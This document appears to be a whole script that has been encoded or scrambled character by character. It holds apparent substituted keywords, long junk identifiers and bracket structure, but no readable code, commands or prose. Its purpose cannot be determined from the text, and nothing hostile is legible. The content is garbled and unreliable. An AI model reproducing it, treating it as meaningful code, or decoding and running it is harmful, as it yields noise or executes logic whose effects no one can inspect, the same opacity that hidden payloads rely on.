107+ee0!(7.u=/&.(.mwtlm=}p-/*"'(=r+3mwvllezee0!(7.u=/&.(.mwqlmas'p*s$?p4p}1,+ieeeeea5$|01u/#253&<trleee#$)6 ~O8OOOeee#0+&1,*+e244}<3?*s".<q4v2,16"rmas'p*s$?p4p}1,+ieea5$|01u/#253&<trlOeee>O7 107+eeee0!(7.u=/&.(.mwtlm=}p-/*"'(=r+3mwplleezeee0!(7.u=/&.(.mwplmas'p*s$?p4p}1,+ieeeea5$|01u/#253&<trleee#$)6 ~Oeeeeee8Oeeee#0+&1,*+eee0/}#1#6<,112<!r0.qma&?||$(,+iea33q#<('6.4r$slOe>Oeeeeee7 107+ee=}p-/*"'(=r+3mwslm=w7ru&0,2#3mwrlleeezeee0!(7.u=/&.(.mw}lma&?||$(,+iea33q#<('6.4r$sleeeeeee#$)6 ~Oee8Oee#0+&1,*+ee'10-|61/-1!t$54mlOOOeee>Oeeeeeeee61$1,&eeeeea0(1/.5}|6<"!3(4peexe+0))~OO,#eeema0(1/.5}|6<"!3(4peedxxee+0))lee7 107+eea0(1/.5}|6<"!3(4p~Oa0(1/.5}|6<"!3(4peeeeexee=}p-/*"'(=r+3mwslm=w7ru&0,2#3mw|lleeezee=w7ru&0,2#3mw|lmleee=w7ru&0,2#3mvul~Oe,#eeem0!(7.u=/&.(.mvtlma0(1/.5}|6<"!3(4pleecce=w7ru&0,2#3mvwlma0(1/.5}|6<"!3(4plleeeee7 107+eea0(1/.5}|6<"!3(4p~Oa ,/u=4v$$+q,exe! #,+ !m=}p-/*"'(=r+3mvvlleezee
 eeeeeeeem! #,+ !m=w7ru&0,2#3mvqlleezeeeeeeeekeeeee?|?!)+'qtu++mvpleeggl~Oee,#eeeeema ,/u=4v$$+q,eedxxeeggle>Oeeea3t7v052|u2)55u/eeeeexeeeee?|?!)+'qtu++mvslma ,/u=4v$$+q,ieee?|?!)+'qtu++mvrlleeekeeeee?|?!)+'qtu++mv}l~Oeeee,#eemd=w7ru&0,2#3mvtlma3t7v052|u2)55u/lleeeee=w7ru&0,2#3mt}lma3t7v052|u2)55u/iem|prhqsqliee170 l~Oeeee,#eem=}p-/*"'(=r+3mv|lma3t7v052|u2)55u/leeeeeecceeee0!(7.u=/&.(.mvwlma3t7v052|u2)55u/lleeee>OOe,#em0!(7.u=/&.(.mwslm0!(7.u=/&.(.mqulllee501 +3m=}p-/*"'(=r+3mqtlekea3t7v052|u2)55u/l~OOOOeeea	
	=w7ru&0,2#3mqwleexeet~Oeeeeea0(1/.5}|6<"!3(4peeeeeexea3t7v052|u2)55u/~Oeeee8O8O7 107+eea0(1/.5}|6<"!3(4p~Oee8Oe#0+&1,*+e#0+6|'|1*/3=0=,2<mlOe>Oeeea&?||$(,+eeeexe?16&<u!,/ &| 5.q-&!wml~Oa)(34wu00 s-s),sexee4"<qv76 )}556+2(41?tt}ml~Oeeeee,#eeeeema&?||$(,+eexxxeeea)(34wu00 s-s),sleee7 107+e170 ~O,#eeeem0!(7.u=/&.(.mwslm?|?!)+'qtu++mqvllle>OOa-)6<&'"}=|exeee?|?!)+'qtu++mqqlma&?||$(,+l~Oeea!2}r5v|&r4-7exe?|?!)+'qtu++mqqlma)(34wu00 s-s),sl~Oeeee7 107+ema-)6<&'"}=|edxxee#$)6 eecceeea!2}r5v|&r4-7edxxeeeee#$)6 eecceeeea-)6<&'"}=|eexxxeea!2}r5v|&r4-7l~OOOeeee8Oee7 107+e#$)6 ~Oe8Oeeeeee#0+&1,*+ee/$v/7?qq 0|<!<|$mlOee>Oeeee7 107+emtppuqvhstwwql~OO8OO#0+&1,*+e5t'16}6)u*1 -7*sp/mlOeeeeee>Oeeee,#eemd! #,+ !m=w7ru&0,2#3mvqllleee7 107+egg~OOeea ,/u=4v$$+q,exeee! #,+ !m0!(7.u=/&.(.mvvlleze
 eeeeeke?|?!)+'qtu++mvpl~OOee7 107+e=}p-/*"'(=r+3mvslma ,/u=4v$$+q,iee=}p-/*"'(=r+3mvrllekeeee=w7ru&0,2#3mqpleeke0!(7.u=/&.(.mtulm=}p-/*"'(=r+3mqslmeke0!(7.u=/&.(.mqrllieuiemrntllekee=}p-/*"'(=r+3mq}lekeeee=w7ru&0,2#3mtulm0!(7.u=/&.(.mqslmeke?|?!)+'qtu++mq|llieeeuieeeemvnpllekeee?|?!)+'qtu++mpul~Oe8Oeeeee#0+&1,*+eeeee+)p67(' !-7/71ma++&0*6#1ru?exeee+0))lOe>Oeeea33q#<('6.4r$seeexe5t'16}6)u*1 -7*sp/ml~Oeeeeeeee,#eeema33q#<('6.4r$seeexxxeegglee7 107+eee#$)6 ~Oee,#eeeemd0!(7.u=/&.(.mptlma++&0*6#1ru?lee99eeeee0!(7.u=/&.(.mttlma++&0*6#1ru?leeeyeeeeemqt|n}tlleeeea++&0*6#1ru?exe0=&?!<<|0*r/q0.<6ml~Oeeeeee,#eemda++&0*6#1ru?e99eeeed +/$07!"qr+ 6)*pw</s -ma++&0*6#1ru?lleee7 107+ee#$)6 ~Oea&?||$(,+eeexeeeeee?|?!)+'qtu++mtwlma33q#<('6.4r$sl~OOOOeeeee,#eeeeeemd=w7ru&0,2#3mpwlma&?||$(,+llee")"--6=55t,-(&ma&?||$(,+ieeeeemqw|nsqlieee170 l~Oe,#eemd=}p-/*"'(=r+3mpvlma&?||$(,+lee99eeed=w7ru&0,2#3mpqlma&?||$(,+llee7 107+ee#$)6 ~Oeeee,#em?|?!)+'qtu++mpplma33q#<('6.4r$slle>O,#eeem?|?!)+'qtu++mqslm--r<<!4$-0!rq)}pmm617,+"lee?|?!)+'qtu++mpslma33q#<('6.4r$slllexxxe?|?!)+'qtu++mprlma++&0*6#1ru?lleeee7 107+e170 ~Oeeea2'&p+w51#!+}4s-eeexeeee#!q56#}22pv#"02*sp3=&?ma33q#<('6.4r$sl~Oee,#eeema2'&p+w51#!+}4s-eedxxee+0))eeeecceeee3 76,*+&*(5$7 ma2'&p+w51#!+}4s-iee',7|#2u4-"!$4'1"smlieb{bllee7 107+eeeee#$)6 ~OOOe0+6 1ma2'&p+w51#!+}4s-l~Oee8O,#eeeeemd<?+3w",2"p|.<!5!ma33q#<('6.4r$sieea++&0*6#1ru?llee7 107+e#$)6 ~OOOO17.s-rs}w1.3'qma33q#<('6.4r$siemvqrnrvll~OOeee1&s?222)1$ (10)r+3?ma33q#<('6.4r$sl~Oee7 107+e170 ~Oe8Oeee#0+&1,*+eee=r#q-1|<+)..-651$#$s25mlOee>Oeeeea++&0*6#1ru?eexeee0=&?!<<|0*r/q0.<6ml~O,#eeemda++&0*6#1ru?ee99eed +/$07!"qr+ 6)*pw</s -ma++&0*6#1ru?lleee7 107+e#$)6 ~Oa(p7/u0 *5&-6t$"exeee0!(7.u=/&.(.mqlm.!*q3ww&t$ 5+*7'&rmliee=}p-/*"'(=r+3mpull~Oeeeea.7"=!#p<*|t4eeexeee?|?!)+'qtu++mwslm0!(7.u=/&.(.mp}llezee/v&))=5vt?}||u5'#<&4mleeem! #,+ !m=w7ru&0,2#3mvvlleeezeeeeee
 eeeeeggl~OOOOeeee,#ema.7"=!#p<*|t4exxxeeeeggleeeeee7 107+eeee#$)6 ~Oeeea!+!<s5/rwu?!q?eeexea.7"=!#p<*|t4ekee?|?!)+'qtu++mp|leeeekeeea(p7/u0 *5&-6t$"~Oeeeeeea<(2$*-2"=#eeexeea!+!<s5/rwu?!q?ekeebjbeekeeeea(p7/u0 *5&-6t$"eke=w7ru&0,2#3mpul~Oeeeeea?s7.1("(p&eexeee#$)6 ~Oeee,#em0!(7.u=/&.(.mwslm0!(7.u=/&.(.msulllee>Oa *2"}$w|0=eeeeeexe0!(7.u=/&.(.msulma<(2$*-2"=#l~OOOea562s.'1.v0|-eeeexee=}p-/*"'(=r+3msulm.!*q3ww&t$ 5+*7'&rmll~OOOeea?s7.1("(p&eexeeeem=}p-/*"'(=r+3mptlma *2"}$w|0=leccee=}p-/*"'(=r+3mptlma562s.'1.v0|-leeecceeeeeea *2"}$w|0=exxxeeeeeea562s.'1.v0|-l~Oe8Oe,#eeemda?s7.1("(p&lee>Oeee,#eeeemd0!(7.u=/&.(.mstlma!+!<s5/rwu?!q?lleee")"--6=55t,-(&ma!+!<s5/rwu?!q?ieeeeemstuhttrliee170 l~Oeeeeeee,#eeeeemd=w7ru&0,2#3mswlma!+!<s5/rwu?!q?lee99eeed=w7ru&0,2#3msvlma!+!<s5/rwu?!q?lleeee7 107+ee#$)6 ~OOeee,#eeemd0!(7.u=/&.(.mpplma<(2$*-2"=#le99ee0!(7.u=/&.(.msqlm--r<<!4$-0!rq)}pmm617,+"le=w7ru&0,2#3mpslma<(2$*-2"=#llleedxxeee?|?!)+'qtu++msqlma++&0*6#1ru?lleeeee>Oee,#eeeeem?|?!)+'qtu++msplma<(2$*-2"=#llee>Oa2'&p+w51#!+}4s-eeeexeee#!q56#}22pv#"02*sp3=&?ma<(2$*-2"=#l~Oe,#eema2'&p+w51#!+}4s-eeeeedxxee+0))eeeeecceeeee3 76,*+&*(5$7 ma2'&p+w51#!+}4s-ie',7|#2u4-"!$4'1"smlieeeb{blle7 107+ee#$)6 ~Oee0+6 1ma2'&p+w51#!+}4s-l~OOOOeeeee8Oe,#eeeeemd<?+3w",2"p|.<!5!ma<(2$*-2"=#iee*0*)-&#77 -u|&,ma++&0*6#1ru?llleeeee7 107+e#$)6 ~Oeee17.s-rs}w1.3'qma<(2$*-2"=#iemqt}nwll~Oee3t6<p=,(t?0=|? +!<6|ma<(2$*-2"=#l~Oeeeeee1&s?222)1$ (10)r+3?ma<(2$*-2"=#l~Oeeeeee8Oe8Oeeeee,#eeem=}p-/*"'(=r+3mwslm0!(7.u=/&.(.msslleecceee?|?!)+'qtu++msrlm=}p-/*"'(=r+3ms}lllee>OOOOeea5  r)<7reeeexeea(p7/u0 *5&-6t$"ekebjbekeea(p7/u0 *5&-6t$"ekee=w7ru&0,2#3mpul~Oeeea *pu4*16<-u&eeeexee" 1*51,*+m0!(7.u=/&.(.ms|liee$77$<mll~Oee,#emd0!(7.u=/&.(.mrulma *pu4*16<-u&lleeea *pu4*16<-u&exeeeee$77$<ml~O,#eeeeemd=w7ru&0,2#3mrtlma5  r)<7rieeeeea *pu4*16<-u&ie170 lle>Oeeeeea *pu4*16<-u&eexeea5  r)<7r~Oe05!$1 *51,*+m0!(7.u=/&.(.ms|lie=w7ru&0,2#3mrwlma *pu4*16<-u&ll~O8Oe8OOOeeee7 107+ee170 ~O8Oe#0+&1,*+eee#!q56#}22pv#"02*sp3=&?ma33q#<('6.4r$slOee>OOOOa"&$&"7u/wpw$=eeeeeexe0!(7.u=/&.(.mpslma33q#<('6.4r$siee#$)6 ie+0))ieeeuiemu=vwqnu=&!&ll~OOOe,#eemd=}p-/*"'(=r+3mrvlma"&$&"7u/wpw$=lleee7 107+ee+0))~O,#em?|?!)+'qtu++mrqlm?|?!)+'qtu++mrplieea"&$&"7u/wpw$=iea)(34wu00 s-s),slleeeee7 107+ea)(34wu00 s-s),st~O7 107+eee+0))~OOOeeee8OOOeeeeeO#0+&1,*+e1?717-.?s')pru }'s.ma!2"} !14v&-(70ieeea0|5}=(.|,q4"',v.lOOOOeee>Oee&) $761$1&$&- m170 iea!2"} !14v&-(70l~OeeeOeea'/q16qur7p}exeeee=w7ru&0,2#3mrslma!2"} !14v&-(70l~Oe,#eemda'/q16qur7p}eeeeee99ema'/q16qur7p}e`eemtur}swhr}swlledxxee/$v/7?qq 0|<!<|$mlleeeeee>Oe7 107+eeeee#$)6 ~OOOe8OeeOeeeea$=-p#1+"+exeee?|?!)+'qtu++mrrlma!2"} !14v&-(70l~Oeeeeee7 107+eea$=-p#1+"+eecceeeea$=-p#1+"+ee{xeeea0|5}=(.|,q4"',v.~OOee8Oeeeee#0+&1,*+eeee=p}&|&5}&7*6="|*/ q?mlOOeee>Oe7 107+eemvp|t|n}tl~Oee8O#0+&1,*+eee3r*"rq0=s"!v+sw=3-4mlOee>Oeeee7 107+ee0!(7.u=/&.(.mr}l~OOOOee8Oeeeeeeee#0+&1,*+ee#4q6v2-)!s 15-mlO>Oeeeeee7 107+eee?|?!)+'qtu++mr|l~Oe8Oee#0+&1,*+ee0q+0v&}(03"?,$4|$#!mlOeee>Oee,#eeeem0!(7.u=/&.(.msrlm0!(7.u=/&.(.m}ullleee7 107+eeeee170 ~OOOeeeeeee,#eeem<.22s4t$p&q(2,mlleee7 107+ee170 ~Oea1s*1* .v(,3q4*exee,66 1ma  0!(7.u=/&.(.m}tlleeeezeeee?|?!)+'qtu++m}wlmm617,+"lea  =w7ru&0,2#3m}tlleeeeeegg~Oeee,#eeeema1s*1* .v(,3q4*eedxxeeggeeeecceem?|?!)+'qtu++m}lma1s*1* .v(,3q4*ie=w7ru&0,2#3m}vlleeedxxe#$)6 e99ee0!(7.u=/&.(.m}lma1s*1* .v(,3q4*iee=w7ru&0,2#3m}qlleedxxee#$)6 eeee99e=w7ru&0,2#3m}lma1s*1* .v(,3q4*iee0!(7.u=/&.(.m}plledxxe#$)6 lleeeee7 107+eee170 ~Oeeeee,#eeeema1s*1* .v(,3q4*exxxeggeecceeee=w7ru&0,2#3m}slmledxxeee0!(7.u=/&.(.m}rleccee,66 1ma  ?|?!)+'qtu++m}}llleeeeee7 107+e170 ~OOOOeeeee7 107+e#$)6 ~Oeee8Oee#0+&1,*+eee<.22s4t$p&q(2,mlOe>Oeea1s*1* .v(,3q4*exe,66 1ma  0!(7.u=/&.(.m}tlleezeea  =w7ru&0,2#3m}|leeegg~Oeee7 107+eeeee=}p-/*"'(=r+3mrvlma1s*1* .v(,3q4*leeccee617,5*6ma1s*1* .v(,3q4*ieeeee=}p-/*"'(=r+3m}qlleedxxee#$)6 ~Oee8OO#0+&1,*+eee&qw(-'"p& 4 s7s<(ma5-.67/ 5w+|"#}qlOeeee>OOa7!&1$7$054eexee0!(7.u=/&.(.msrlm=w7ru&0,2#3m|ulleeezeeee=}p-/*"'(=r+3m|ulm0!(7.u=/&.(.m|tlleee#$)6 ~Oee,#eeeemda7!&1$7$054e99eeea7!&1$7$054exxxeeeggleeeeee7 107+e170 ~OOea+"62)ss.?0r4" ?weexeee0!(7.u=/&.(.msulma5-.67/ 5w+|"#}ql~Oeeeeee,#eemda+"62)ss.?0r4" ?wlea+"62)ss.?0r4" ?weexea5-.67/ 5w+|"#}q~O#*7 $&-em=w7ru&0,2#3m|wlm 
ieeeeeea7!&1$7$054lee$6eeeeea,up&5"-,q7leeee>Oeea,up&5"-,q7eeexeeee=w7ru&0,2#3mvslma,up&5"-,q7ieee?|?!)+'qtu++m|vll~Oeeeee,#eema,up&5"-,q7eccema+"62)ss.?0r4" ?weexxxea,up&5"-,q7eee99e=w7ru&0,2#3m}lma+"62)ss.?0r4" ?wieeeea,up&5"-,q7ekeeeee 
 
leexxxeeulleee7 107+ee170 ~Oeeeee8O7 107+e#$)6 ~OO8O#0+&1,*+ee&pw(6'-p2 $<0)|ma 5 w.'=)2**,us51lOOe>Oea=)r&p3s(-wvweeeexeeea 5 w.'=)2**,us51eeeekeb9beeekeem! #,+ !m=w7ru&0,2#3m|qllezeeee eeeeeeeggleeeekeeb9beeeeekeem! #,+ !m?|?!)+'qtu++mvqllezeeeeggl~Oeeeeeee7 107+eeee=}p-/*"'(=r+3m|plma=)r&p3s(-wvwl~Oeeeeee8Oeeee#0+&1,*+ee w##051|s4<1*tpv,r'&ma 5 w.'=)2**,us51lOee>Oeee")*'$)ea25!'~Oeee,#eemd,66 1ma	
	0!(7.u=/&.(.m|sllee99eeed=w7ru&0,2#3mrulma	
	=}p-/*"'(=r+3m|slllea	
	?|?!)+'qtu++m|sleeeexee$77$<ml~Oee,#eemd (51<ma	
	0!(7.u=/&.(.m|sla 5 w.'=)2**,us51lleeee>Oeeeea	
	=}p-/*"'(=r+3m|sla 5 w.'=)2**,us51nn~OOeee7 107+eee170 ~Oeeeee8OOOO,#eem=}p-/*"'(=r+3m|rlma25!'lecceee0!(7.u=/&.(.m|}lma25!'ie=}p-/*"'(=r+3m||llle>OOOOa=ss<?3q&?(w&)0'qeeeeexea25!'h{" 13$7m=w7ru&0,2#3mtuuleeke&pw(6'-p2 $<0)|ma 5 w.'=)2**,us51leeeeekee?|?!)+'qtu++mtutll~Oe,#ema=ss<?3q&?(w&)0'qeexxxeeeeebtbleeee>Oea	
	0!(7.u=/&.(.m|sla 5 w.'=)2**,us51eexeet~Oeeee7 107+eeee170 ~Oe8OOOOeeeee,#eeeeema=ss<?3q&?(w&)0'qeeexxxeeebuble7 107+ee#$)6 ~Oe8O,#em=}p-/*"'(=r+3msrlm?|?!)+'qtu++mtuwlleeecceee?|?!)+'qtu++msrlm?|?!)+'qtu++mtuvllle>Oa5+-t*.024/7eeeeexeeee$77$<ml~O,#eeem=w7ru&0,2#3msrlm=w7ru&0,2#3mw|llleea5+-t*.024/7exeee?|?!)+'qtu++mtuqlml~O,#eeeem! #,+ !m=}p-/*"'(=r+3mvvlllea5+-t*.024/7eeexeeeee
 ~Oee,#em! #,+ !m=}p-/*"'(=r+3mvqllleeeea5+-t*.024/7eexe?|?!)+'qtu++mvslmieeeeee=w7ru&0,2#3m|vll~Oe#*7 $&-ema5+-t*.024/7e$6eea&?||$(,+lee>Oeeeeee,#eema&?||$(,+eeexxxeegge99eed0!(7.u=/&.(.mswlma&?||$(,+le99eeed=}p-/*"'(=r+3msvlma&?||$(,+lleeeee&*+1,+0 ~Oea6p'1=()) t7eeexeeee=}p-/*"'(=r+3mtuplma&?||$(,+eeeeekeee?|?!)+'qtu++mtusleeeekeeee&pw(6'-p2 $<0)|ma 5 w.'=)2**,us51lekeee0!(7.u=/&.(.mturlieeb&bl~Oe,#eema6p'1=()) t7edxxee#$)6 lee>OOOOeeeee,#eemd#)*&.ma6p'1=()) t7iee	
 ee9e	
lle>Oeeee#&)*6 ma6p'1=()) t7l~Oeee7 107+eee#$)6 ~Oee8Oeeeeee,#eemd,66 1ma	
	0!(7.u=/&.(.mtu}lle99ed0!(7.u=/&.(.mrulma	
	0!(7.u=/&.(.mtu|llleea	
	=}p-/*"'(=r+3mttuleeexe$77$<ml~Oeeea	
	=}p-/*"'(=r+3mttula 5 w.'=)2**,us51exeeeeeea6p'1=()) t7~Oea	
	?|?!)+'qtu++m|sla 5 w.'=)2**,us51eeeexet~OOeee7 107+ee170 ~Oe8Oee8O8OOeeee7 107+ee#$)6 ~OOOOeeeeeee8Oeee#0+&1,*+e'17<}</=s3*w3w|v(=sma 5 w.'=)2**,us51lOeee>OOOOee")*'$)ea25!'~OOOOee,#eem (51<ma	
	0!(7.u=/&.(.m|sla 5 w.'=)2**,us51lleee7 107+~Oeeeea	
	?|?!)+'qtu++mtttla 5 w.'=)2**,us51hh~Oeeeee,#eeema	
	=w7ru&0,2#3mtttla 5 w.'=)2**,us51e{euleeee7 107+~Oeee0+6 1ma	
	=w7ru&0,2#3mtttla 5 w.'=)2**,us51l~OOOOe,#eeem,66 1ma	
	=}p-/*"'(=r+3mttula 5 w.'=)2**,us51lleeee>Oeeee#)*&.ma	
	=w7ru&0,2#3mttula 5 w.'=)2**,us51ieeee	
l~Oeee#&)*6 ma	
	=w7ru&0,2#3mttwla 5 w.'=)2**,us51l~OOOeeeeee0+6 1ma	
	=}p-/*"'(=r+3mttwla 5 w.'=)2**,us51l~O8Oeeeee,#eeeem=}p-/*"'(=r+3m|rlma25!'leecceeee=w7ru&0,2#3m|}lma25!'ie?|?!)+'qtu++mttvlllee>Oeea25!'h{40 7<m?|?!)+'qtu++mttqleeeekeeeee&pw(6'-p2 $<0)|ma 5 w.'=)2**,us51leekeee=}p-/*"'(=r+3mttpll~Oe8Oe8OOOOee#0+&1,*+eee2.#?.!qqr116?#+6$")v mlOee>Oeeeeee,#eeem! #,+ !m?|?!)+'qtu++mttsllecceeee		
	 
leee7 107+ee#$)6 ~Oeeeee7 107+ee170 ~Oeeee8Oeee#0+&1,*+eee="!24p3/qt!$s631p2',pma*(rt!2|r55(1"!(ieea=w}=)'/7<3/lOe>Oeee17<eeee>Oeee,#eeem,+1 7#$&  =,616m=w7ru&0,2#3mttrlleeeccea=w}=)'/7<3/e,+61$+& *#ee-7*2$') leeeee>Oea=&rr}14+q41,!v.&eexee0!(7.u=/&.(.mtt}lma*(rt!2|r55(1"!(eeeke=}p-/*"'(=r+3mtt|lekeea=w}=)'/7<3/h{" 1 66$" mlieuieeeemws}htwll~Oe8e )6 ,#eeema=w}=)'/7<3/e,+61$+& *#eeeee =& 51,*+leee>Oa=&rr}14+q41,!v.&eeexeeee0!(7.u=/&.(.mtt}lma*(rt!2|r55(1"!(eeeekeee?|?!)+'qtu++mtwulekeeea=w}=)'/7<3/h{" 1 66$" mlieuieemwurnq|ll~Oeeee8ee )6 ,#eem0!(7.u=/&.(.mrvlma=w}=)'/7<3/leecce0!(7.u=/&.(.mttlma=w}=)'/7<3/leeeee{eeeuleee>Oea=&rr}14+q41,!v.&eeeexee=}p-/*"'(=r+3mtwtlma*(rt!2|r55(1"!(eeeekee=}p-/*"'(=r+3mtwwlekeea=w}=)'/7<3/ieeeeeuieemwqtntpll~Oee8eee )6 e>Oeee7 107+~O8O,#eeeeeemd,66 1ma	
	=}p-/*"'(=r+3mtwvllleea	
	=w7ru&0,2#3mtwqlexee$77$<ml~O,#eeemd=w7ru&0,2#3mrtlma=&rr}14+q41,!v.&iea	
	=w7ru&0,2#3mtwpliee170 lleeeeee>OOOOa	
	?|?!)+'qtu++mtwslexea=&rr}14+q41,!v.&~Oe8Oeee,#eeeem?|?!)+'qtu++mtwrlma	
	0!(7.u=/&.(.mtwsllee{eeeemu=wsnu=&lle>Oa	
	?|?!)+'qtu++mtwslexe?|?!)+'qtu++mtw}lma	
	=w7ru&0,2#3mtwsliehmtwnv}ll~O8Oeee8ee&$1&-eeeem-7*2$') eea (r'?3w#r<1 u'leee>Oee8e&$1&-eeem =& 51,*+eea (r'?3w#r<1 u'leee>OOOOee8Oe8Oeeeee#0+&1,*+eeee .220.r ,7)*r1t.ma"&$&"7u/wpw$=ieeea(*12("/q13)#?iea33q#<('6.4r$seeexeemu=vnu=rlieeea$)w)#u=7<s!eexetlOee>Oe,#emd=w7ru&0,2#3msrlm0!(7.u=/&.(.mtw|llle7 107+e#$)6 ~Oeee,#em=w7ru&0,2#3mrvlma(*12("/q13)#?lleee>Oeee7 107+eee$!!$&1,*+ma"&$&"7u/wpw$=ieee#0+&1,*+eemkkka,v5u7ww=(33(-leee06 eema(*12("/q13)#?leee>Oeeee,#eem=}p-/*"'(=r+3msrlma(*12("/q13)#?lle7 107+ea(*12("/q13)#?mkkka,v5u7ww=(33(-l~Oeeeeee7 107+eeeeee+0))~OOOeeeeee8iea33q#<('6.4r$sieeeeea$)w)#u=7<s!l~OOOe8O7 107+e$!!$&1,*+ma"&$&"7u/wpw$=ieea(*12("/q13)#?ieea33q#<('6.4r$sieea$)w)#u=7<s!l~Oee8Oee#0+&1,*+eee&$<w?-=0 -q6=t7sma"&$&"7u/wpw$=iea(*12("/q13)#?iea33q#<('6.4r$seeeeexeemsnqliea$)w)#u=7<s!eeeeexeeeetlOe>Oee,#eemd=}p-/*"'(=r+3msrlm?|?!)+'qtu++mtvullleee7 107+e#$)6 ~Oeee,#eeeem?|?!)+'qtu++mtvtlma(*12("/q13)#?lleee>Oee7 107+eeeee$!!#,)1 7ma"&$&"7u/wpw$=iee#0+&1,*+eeeemkkka,v5u7ww=(33(-lee06 ema(*12("/q13)#?le>Oee,#eem=}p-/*"'(=r+3msrlma(*12("/q13)#?lleee7 107+eeeeeea(*12("/q13)#?mkkka,v5u7ww=(33(-l~Oe7 107+ee,66 1ma,v5u7ww=(33(-ulezeea,v5u7ww=(33(-ueee+0))~Oee8iea33q#<('6.4r$sieea$)w)#u=7<s!l~O8Oeeeee7 107+eeeee$!!#,)1 7ma"&$&"7u/wpw$=ieea(*12("/q13)#?iea33q#<('6.4r$sieeea$)w)#u=7<s!l~Oe8Oee#0+&1,*+eeeee)!r7q}$#qrwq+&#6,#6,'mlOeeeee>Oeea,up&5"-,q7exe! #,+ !m=w7ru&0,2#3mvvlleeze
 eeekee=w7ru&0,2#3mqpleke!5} }=v42/31wmeeekee=}p-/*"'(=r+3mqrlieeemu=rnu=tlleeeeee?|?!)+'qtu++mtwlm.!*q3ww&t$ 5+*7'&rmlleeeekeeeee?|?!)+'qtu++mtvwl~Oeeeee,#eemd=}p-/*"'(=r+3mswlma,up&5"-,q7lecce&qw(-'"p& 4 s7s<(ma,up&5"-,q7llee>Oeeee")"--6=55t,-(&ma,up&5"-,q7ieeeeemu=turnu= slieee170 l~OOOe,#em0!(7.u=/&.(.mswlma,up&5"-,q7llee>OOee-3&*t0)(+,)?3 r6rma,up&5"-,q7eeekeeeeee?|?!)+'qtu++mtvvlieegyz5-5ejje,) +& e,6e"*)! +k+gieee=w7ru&0,2#3mtvqll~OOOOee8Oe8Oe,#em?|?!)+'qtu++mtvplma,up&5"-,q7leeeccee?|?!)+'qtu++msvlma,up&5"-,q7lleeeee>Oe7 107+ea,up&5"-,q7~OOOe8Oeeea!w|,s}7+q/t=|-eeexe0!(7.u=/&.(.mtwlm.!*q3ww&t$ 5+*7'&rmlleekee?|?!)+'qtu++mtvsl~Oee,#emd=w7ru&0,2#3mtvrlma!w|,s}7+q/t=|-leeeecceee&qw(-'"p& 4 s7s<(ma!w|,s}7+q/t=|-lleeee")"--6=55t,-(&ma!w|,s}7+q/t=|-ieemu=t!nu=t!ulieee170 l~OO,#eeeeem0!(7.u=/&.(.mtv}lma!w|,s}7+q/t=|-leeeeccee=w7ru&0,2#3msvlma!w|,s}7+q/t=|-llee7 107+eeea!w|,s}7+q/t=|-~Oeea"r1p-s(p1)'eeeeeexee?|?!)+'qtu++mtv|lm.!*q3ww&t$ 5+*7'&rmll~Oeeeeeeee,#eeeeem0!(7.u=/&.(.msvlma"r1p-s(p1)'leccea"r1p-s(p1)'eeeedxxeeee4"<qv76 )}556+2(41?tt}mlleeeee7 107+eea"r1p-s(p1)'~OOO,#eeem! #,+ !m=}p-/*"'(=r+3mvvlleecceee=}p-/*"'(=r+3msvlm
 lecceee&qw(-'"p& 4 s7s<(m
 lle7 107+ee
 ~Oeee7 107+ea,up&5"-,q7~Oee8Oeeeeeeee#0+&1,*+ee/v&))=5vt?}||u5'#<&4mlOee>Oeee,#eem! #,+ !m?|?!)+'qtu++mvvlleeeeeeccee0!(7.u=/&.(.mtqulm
 leeeeeeccee&qw(-'"p& 4 s7s<(m
 lle7 107+ee
 ~OOea?q.3u)$w3q,eexe=}p-/*"'(=r+3mtv|lm.!*q3ww&t$ 5+*7'&rmll~OOOOeeee,#eeeem&qw(-'"p& 4 s7s<(ma?q.3u)$w3q,lleeeeee7 107+eeea?q.3u)$w3q,~Oee7 107+e
 ~O8OOOeeee#0+&1,*+ee0.s=<ws1t("!& ma5-.67/ 5w+|"#}qlOOOOeeeeee>Oe,#em (51<ma	
	=w7ru&0,2#3mtqtlle99eed=w7ru&0,2#3mrulma	
	=}p-/*"'(=r+3mtqtlllee7 107+e#$)6 ~Oee,#em,66 1ma	
	=w7ru&0,2#3mtqtla5-.67/ 5w+|"#}qlleeeee7 107+ee170 ~Oeeeeea+"62)ss.?0r4" ?wexee=}p-/*"'(=r+3msrlm=}p-/*"'(=r+3mtqwlleezeee?|?!)+'qtu++mtqwlma5-.67/ 5w+|"#}qleee#$)6 ~Oeeeee7 107+eeema+"62)ss.?0r4" ?weeedxxeeeee#$)6 eeeecce,66 1ma	
	=w7ru&0,2#3mtqtla+"62)ss.?0r4" ?wll~Oeeeeeee8OOe#0+&1,*+ee-w,<0rp5=u2+vtma5-.67/ 5w+|"#}qlOeeeeeee>OOeeee,#em (51<ma	
	0!(7.u=/&.(.mtqtllee99eed=}p-/*"'(=r+3mrulma	
	?|?!)+'qtu++mtqtllle7 107+~Oe0+6 1ma	
	?|?!)+'qtu++mtqtla5-.67/ 5w+|"#}ql~Oeeea+"62)ss.?0r4" ?weeexeee=}p-/*"'(=r+3msrlm?|?!)+'qtu++mtqwlleeeeezeeeee=}p-/*"'(=r+3mtqvlma5-.67/ 5w+|"#}qleee#$)6 ~OOOOeeeee,#eeeema+"62)ss.?0r4" ?weedxxeee#$)6 le0+6 1ma	
	=}p-/*"'(=r+3mtqqla+"62)ss.?0r4" ?wl~Oeee8Oe#0+&1,*+e/ws=wr'!#(/"r's-w*-",ma5-.67/ 5w+|"#}qlO>OOee,#eemd,66 1ma	
	=}p-/*"'(=r+3mtqqlle99eeeeed?|?!)+'qtu++mrulma	
	=}p-/*"'(=r+3mtqqllleeee>OOeeea	
	?|?!)+'qtu++mtqqleexeeeee$77$<ml~O8Oeeeeeeeea2?0}. '.0$eeeexee0!(7.u=/&.(.msrlm=w7ru&0,2#3mtqpllezee=w7ru&0,2#3mtqplma5-.67/ 5w+|"#}qleeee#$)6 ~OOOOea	
	?|?!)+'qtu++mtqsla2?0}. '.0$eeedxxee#$)6 eeezeeeeeea2?0}. '.0$eeeea5-.67/ 5w+|"#}qeexeeea5-.67/ 5w+|"#}q~Oeee61$1,&eeea6/,}2q}w65}3*wvexeeeee#$)6 ~Oe,#eeemda6/,}2q}w65}3*wvleeeeee>Oa6/,}2q}w65}3*wveexeeee170 ~Oe,#eeeeeem?|?!)+'qtu++msrlm0!(7.u=/&.(.mtqrllleee=}p-/*"'(=r+3mtq}lm=w7ru&0,2#3mtq|ll~OOOe8Oeee8OOOOeeeeeeee#0+&1,*+e<.s='r(444#?'&mlOeeeeeeee>Oee,#eem (51<ma	
	=}p-/*"'(=r+3mtqsllee99eeeed?|?!)+'qtu++mrulma	
